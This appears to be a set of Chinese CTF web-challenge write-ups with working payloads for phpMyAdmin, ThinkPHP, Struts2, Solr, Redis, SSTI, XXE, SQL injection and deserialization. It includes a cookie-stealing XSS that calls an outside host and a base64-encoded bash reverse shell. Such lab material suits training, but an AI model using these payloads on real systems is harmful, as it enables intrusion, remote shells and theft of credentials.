本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
1 ?exp=highlight_file(session_id(session_start()));
[GWCTF 2019]我有一个数据库 目录扫描到有个phpmyadmin,不需要密码,版本4.8.1,是存在漏洞的版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 直接利用文件包含就可以 ?target=db_datadict.php%253f/../../../../../../../../../flag‘ 也可以走代码执行,依次执行 show global variables like "%datadir%" ; use test; CREATE TABLE test(code varchar(100 )); INSERT INTO test(code) VALUES("<?php phpinfo(); ?>" ); ?target=db_datadict.php%253f/../../../../../../../../../var /lib/mysql/data/test/test.MYD 或者包含session文件 ?target=db_sql.php%253f/../../../../../../../../tmp/sess_cui65j0c7j9mjmu4b76kio81rj
db_sql.php可以替换成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 'db_datadict.php' ,'db_sql.php' ,'db_events.php' ,'db_export.php' ,'db_importdocsql.php' ,'db_multi_table_query.php' ,'db_structure.php' ,'db_import.php' ,'db_operations.php' ,'db_search.php' ,'db_routines.php' ,'export.php' ,'import.php' ,'index.php' ,'pdf_pages.php' ,'pdf_schema.php' ,'server_binlog.php' ,'server_collations.php' ,'server_databases.php' ,'server_engines.php' ,'server_export.php' ,'server_import.php' ,'server_privileges.php' ,'server_sql.php' ,'server_status.php' ,'server_status_advisor.php' ,'server_status_monitor.php' ,'server_status_queries.php' ,'server_status_variables.php' ,'server_variables.php' ,'sql.php' ,'tbl_addfield.php' ,'tbl_change.php' ,'tbl_create.php' ,'tbl_import.php' ,'tbl_indexes.php' ,'tbl_sql.php' ,'tbl_export.php' ,'tbl_operations.php' ,'tbl_structure.php' ,'tbl_relation.php' ,'tbl_replace.php' ,'tbl_row_action.php' ,'tbl_select.php' ,'tbl_zoom_select.php' ,'transformation_overview.php' ,'transformation_wrapper.php' ,'user_password.php' ,
[BJDCTF2020]ZJCTF,不过如此 题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0 ); $text = $_GET["text" ]; $file = $_GET["file" ]; if (isset($text)&&(file_get_contents($text,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ die("Not now!" ); } include($file); } else { highlight_file(__FILE__); } ?>
构造包(text=data://text/plain,I%20have%20a%20dream)
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /?text=php: Host: 0722e0f3-821d-4d78-9dc7-be292c48d6fb.node3.buuoj.cn Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0 .4472 .114 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
将拿到的结果base64 decode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $id = $_GET['id' ]; $_SESSION['id' ] = $id; function complex ($re, $str ) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex($re, $str). "\n" ; } function getFlag ( ) { @eval ($_GET['cmd' ]); }
参考https://blog.csdn.net/weixin_43749601/article/details/113417093
1 next.php?\S*=${system($_GET[x])}&x=cat%20 /flag
[BJDCTF2020]The mystery of ip flag处回显ip地址的地方SSTI模板注入
1 X-Forwarded-For: {{system('cat /flag' )}}
[BJDCTF2020]Mark loves cat dirsearch扫描到.git,下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php include 'flag.php' ; $yds = "dog" ; $is = "cat" ; $handsome = 'yds' ; foreach ($_POST as $x => $y ) { $$x = $y; } foreach ($_GET as $x => $y ) { $$x = $$y; } foreach ($_GET as $x => $y ) { if ($_GET['flag' ] === $x && $x !== 'flag' ){ exit($handsome); } } if (!isset($_GET['flag' ]) && !isset($_POST['flag' ])){ exit($yds); } if ($_POST['flag' ] === 'flag' || $_GET['flag' ] === 'flag' ){ exit($is); } echo "the flag is: " .$flag;
$$变量覆盖问题,这里可以利用exit输出,看GET部分的遍历,假如传进的数据为yds=flag
,那么就变为了$yds=flag
,再通过exit($yds)
输出即可。
[安洵杯 2019]easy_web 分析链接,两个参数,其中img的值两次base64的值,观察发现是转的ascii(主要是看到了2e),这里应该有文件包含,转为看index.php(TmprMlpUWTBOalUzT0RKbE56QTJPRGN3),得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET['cmd' ]; if (!isset($_GET['img' ]) || !isset($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file); if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd; echo "<br>" ; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo("forbid ~" ); echo "<br>" ; } else { if ((string)$_POST['a' ] !== (string)$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd` ; } else { echo ("md5 is funny ~" ); } } ?> <html > <style > body { background :url (./bj.png ) no-repeat center center; background-size :cover; background-attachment :fixed; background-color :#CCCCCC ; } </style > <body > </body > </html >
md5相关参考
https://blog.csdn.net/vhkjhwbs/article/details/97618629
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /index.php?cmd=c\at%20 /flag HTTP/1.1 Host : f8ed05f8-2e32 -4176 -9f24-8c89e45aa403.node4.buuoj.cnCache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0 .4472 .114 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
还可以用sort读文件
[网鼎杯 2020 朱雀组]phpweb 根据包特点构造func=file_get_contents&p=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func, $p ) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string" ) { return $result; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this->func != "" ) { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func" ]; $p = $_REQUEST["p" ]; if ($func != null ) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..." ); } } ?>
构造反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Test { var $p = "ls" ; var $func = "system" ; function __destruct ( ) { if ($this->func != "" ) { echo gettime($this->func, $this->p); } } } $a=new Test(); echo serialize($a);
找flag的payload
1 func=unserialize&p=O%3a4%3a"Test" %3a2%3a{s%3a1%3a"p" %3bs%3a18%3a"find+/+-name+flag*" %3bs%3a4%3a"func" %3bs%3a6%3a"system" %3b}
读flag
1 func=highlight_file&p=/tmp/ flagoefiu4r93
[NCTF2019]Fake XML cookbook XXE
1 2 3 4 5 6 7 8 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY admin SYSTEM "file:///flag" >]> <user > <username > &admin; </username > <password > dwad</password > </user >
[NCTF2019]True XML cookbook 同样XXE,但是flag在内网里,需要查看/proc/net/arp
或者/proc/net/fib_trie
亦或者 /etc/hosts
等网络相关文件,找到内网网段,访问即可
1 2 3 4 5 6 <?xml version="1.0" encoding="utf-8" ?><!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY admin SYSTEM "http://10[.]244[.]80[.]64" >]> <user > <username > &admin; </username > <password > admidn</password > </user >
[BSidesCF 2020]Had a bad day php://的一个trick,dwad那一块可以任意填写
1 /index.php?category=php://filter/read=convert.base64-encode/woofers/dwad%20aw/resource=flag
[ASIS 2019]Unicorn shop 这个老实说,是自己知识面不够了,才知道在某种情况下unicode字符会跟数字有个等价性
https://www.compart.com/en/unicode/U+2187
这个字符大于需要买的东西的价格,发包的时候参数为
[BJDCTF2020]Cookie is so stable 根据题目发现cookie中的内容输出在页面上,尝试ssti,63,页面输出63,的确存在。
php中的ssti最常见的对应的是twig引擎,有一篇文章 写的很好,把所有ssti都讲了一遍
1 {{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("cat /flag" )}}
[安洵杯 2019]easy_serialize_php 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr ).'/i' ; return preg_replace($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract($_POST ); if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION ['img' ] = sha1(base64_encode($_GET ['img_path' ])); } $serialize_info = filter(serialize($_SESSION ));if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info ); echo file_get_contents(base64_decode($userinfo ['img' ])); }
反序列化逃逸字符串,然后替换掉img的值
1 2 3 4 get:f=show_image post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} post:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
[WUSTCTF2020]朴实无华 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval($num ) < 2020 && intval($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr($get_flag ," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
robots.txt -> fakeflag -> header头里发现上述文件
payload:fl4g.php?num=2e9&md5=0e215962017&get_flag=ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); if (!isset ($_GET ['c' ])){ show_source(__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
payload: $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
[网鼎杯 2020 朱雀组]Nmap 主要是需要细心,修改结果详情参数f内容,结合报错找到xml文件位置,通过xml文件中nmap语句进行构造payload。
但这里有两个函数escapeshellarg和escapeshellcmd,前者将字符串转码为shell命令中的参数,后者则是对shell元字符进行转义
Payload: 127.0.0.1' -iL /flag -o haha
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }
构造pop链:
入口危Show类,通过preg_match,将$this->source指定为Show类,调用其__toString方法;
将$this->str指定为Test类,但Test类并没有source这个属性,调用其__get方法;
将Test类的属性p指定为Modifier,调用其__invoke方法;
设定$value为读取flag.php的伪协议。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Modifier { protected $var = "php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; } } class Test { public $p ; } $a = new Show();$a ->str = new Test();$a ->str->p = new Modifier();$b = new Show($a );echo urlencode(serialize($b ));
[SWPU2019]Web1 在发布广告处存在注入,过滤空格(/**/绕过),or(mysql.innodb_table_stats替换information_schema),反引号(as 绕过)
涉及到二次注入、绕过过滤、无列名注入
1 1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
[MRCTF2020]PYWebsite X-Forwarded-For: 127.0.0.1
[NPUCTF2020]ReadlezPHP 反序列化,结合assert执行php代码
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
[De1CTF 2019]SSRF Me 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip ): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self ): result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open ("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open ("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta' ,methods=['GET' ,'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/' ) def index (): return open ("code.txt" ,"r" ).read() def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content ): return hashlib.md5(content).hexdigest() def waf (param ): check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' )
其实就是阅读代码,梳理逻辑(md5扩展攻击也可以),这里利用字符串拼接的思路(python2.7 urllib.urlopen(param) 可以直接param为文件名进行访问而不需要指定协议,默认file,备选方案local_file协议)
访问/geneSign?param=flag.txtread 拿到sign
访问/De1ta?param=flag.txt,构造Cookie: action=readscan;sign=1491c8c5b4ec8dbb050cc8524bfe3c32
还可以用md5扩展攻击,利用hashpump工具https://joychou.org/web/hash-length-extension-attack.html
[ThinkPHP]5-Rce TP 5.0.x的RCE,flag在phpinfo里,注意phpinfo参数-1返回所有内容?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
BUU UPLOAD COURSE 1 文件上传(强制后缀jpg)+文件包含
上传内容 <?=assert($_GET[x]);
,然后包含执行?file=uploads/64fe90a47ef5c.jpg&x=system(%27cat%20/flag%27)
BUU XSS COURSE 1 通过打cookie,访问后台。注意要打referer才知道后台地址。
1 <img src=x onerror="window.open('http://xx.xx.xx.xx:18894/?msg='+document.cookie+'&c='+document.referrer)">
BUU SQL COURSE 1 Union注入,接口需要F12找,然后经典操作(存在假的FLAG_TABLE),拿着admin和密码hash登录就行(不需要解hash,有点反逻辑)
1 2 3 4 5 6 7 8 # 爆库名 -1+union+select+(select+group_concat(schema_name)+from+information_schema.schemata),2--+- # 爆表名 -1+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='news'),2--+- # 爆列名 -1+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),2--+- # 跑数据 -1+union+select+(select+group_concat(username,0x23,password)+from+news.admin),2--+-
[第一章 web入门]sql注入-1 测了下,字符型,考虑闭合,无限制可用union出数据
1 2 3 4 5 -2'union+select+1,(select+group_concat(schema_name)+from+information_schema.schemata),3--+- -2'union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='note'),3--+- -2'union+select+1,(select+*+from+note.fl4g),3--+-
[Black Watch 入群题]Web bool盲注,存在过滤,写出脚本(包含遍历和二分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import requests import string import time def bool_sql_enumrate(startstr, payload, stopchar, dics,true_flag) -> None: while True: for i in range(1, len(dics) + 1): exp = "('{}'=(select(substr(({}),1,{}))))".format( startstr + dics[i - 1], payload, len(startstr + dics[i - 1]) ) resp = requests.get(url=url + exp) if true_flag in resp.text: startstr += dics[i - 1] print(startstr) break time.sleep(0.1) if dics[i - 1] == stopchar: exit("爆破完毕") def bool_sql_binaryseach(startstr, payload, true_flag, false_flag): min_num, max_num = 32, 126 while True: char_num = (min_num + max_num) // 2 if (char_num < min_num) or (char_num > max_num): exit("爆破完毕") exp = "(ASCII(SUBSTR(({}),{},1))={})".format( payload, len(startstr) + 1, char_num ) resp = requests.get(url=url + exp) if true_flag in resp.text: startstr += chr(char_num) print(startstr) # 重置min max min_num, max_num = 32, 126 else: exp = "(ASCII(SUBSTR(({}),{},1))>{})".format( payload, len(startstr) + 1, char_num ) resp = requests.get(url=url + exp) if true_flag in resp.text: min_num = char_num + 1 elif false_flag in resp.text: max_num = char_num - 1 time.sleep(0.1) # print(resp.text,exp) if __name__ == "__main__": dics = ( "eainrtoslcupmdghfbvwkxyzjq" + "eainrtoslcupmdghfbvwkxyzjq".upper() + string.digits + "_,.\'" ) url = "http://xxxx/backend/content_detail.php?id=" # payload = "select(group_concat(schema_name))from(information_schema.schemata)" # payload = "select(group_concat(table_name))from(information_schema.tables)where(table_schema='news')" # payload = "select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')" payload = "select(group_concat(username,0x5F,password))from(news.admin)" bool_sql_enumrate("", payload, "#", dics+"#", "title") # bool_sql_binaryseach("", payload, "title", "[]")
[Mysql]CVE-2012-2122 UDF提权,https://github.com/SafeGroceryStore/MDUT 一键提权,flag在env里
[Redis]UNACC Redis未授权,打主从复制,加载恶意so,然后执行
1 2 3 4 config set dbfilename dump.rdb slaveof vpsip port module load /data/dump.rdb system.exec id
[第三章 web进阶]SSTI 常规的ssti,env下的flag是假的
1 ?password={{lipsum.__globals__['os'].popen('cat /proc/self/cwd/app/server.py').read()}}
[Flask]SSTI 常规的ssti,参数为name(此处有点脑洞),没有os可用,转为获取eval
1 ?name={{lipsum.__globals__.__builtins__['eval']('__import__("os").popen("env").read()')}}
[GYCTF2020]FlaskApp 带过滤版本的ssti,触发点在decode接口中,最后绕过的payload如下:
1 {{lipsum.__globals__.__builtins__['ev'+'al']('__imp'+'ort__("o"+"s").po'+'pen("cat /this_is_the_fl"+"ag.txt").read().encode("utf-8")')}}
[struts2]s2-053 读一读s2的OGNL注入挺有意思的,访问hello.action
1 %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
BUU XXE COURSE 1 XXE读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///flag">]> <root> <username>&xxe;</username> <password>123</password></root> 或 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">]> <root> <username>&xxe;</username> <password>123</password></root> 或者报错 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % condition ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///xxx/%file;'>"> %eval; %error; '> %condition; ]> <message></message>
[BSidesCF 2019]SVGMagic XXE打一个svg转换png,主要是flag地址猜解,很脑洞
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
[Solr]CVE-2017-12629-XXE 直接输出payload吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 GET /solr/demo/select?&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%3C%21DOCTYPE%20root%5B%3C%21ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxx%2Exx%2Exx%2Exx%3A18894%2Fsolr%2Edtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&data;%3C/r%3E&wt=xml&defType=xmlparser HTTP/1.1 Host: node4.buuoj.cn:28232 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 解码后为: <?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://xx.xx.xx.xx:18894/solr.dtd">%ext;%ent;]><r>&data;</r> 远程dtd内容为(此处flag在env里,直接读会显示无效字符,此处xxe无法读) <!ENTITY % file SYSTEM "netdoc:///proc/self/cwd/"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
[Solr]CVE-2017-12629-RCE 需注意一个name直接设置一次,多次执行命令需要更换name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /solr/demo/config HTTP/1.1 Host: node4.buuoj.cn:28232 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 234 {"add-listener":{"event":"newSearcher","name":"newlistener5","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"]}}
[第三章 web进阶]Python里的SSRF SSRF,拦了127.0.0.1,使用127.0.0.2绕过,这也是回环地址
1 ?url=http://127.0.0.2:8000/api/internal/secret
[第二章 web进阶]SSRF Training POST payload
1 file:///proc/self/cwd/flag.php
隐藏关,利用curl特性(需注明端口)
1 challenge.php?url=http://xxx@127.0.0.1:80@xxx/flag.php
[XNUCA2019Qualifier]EasyPHP 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
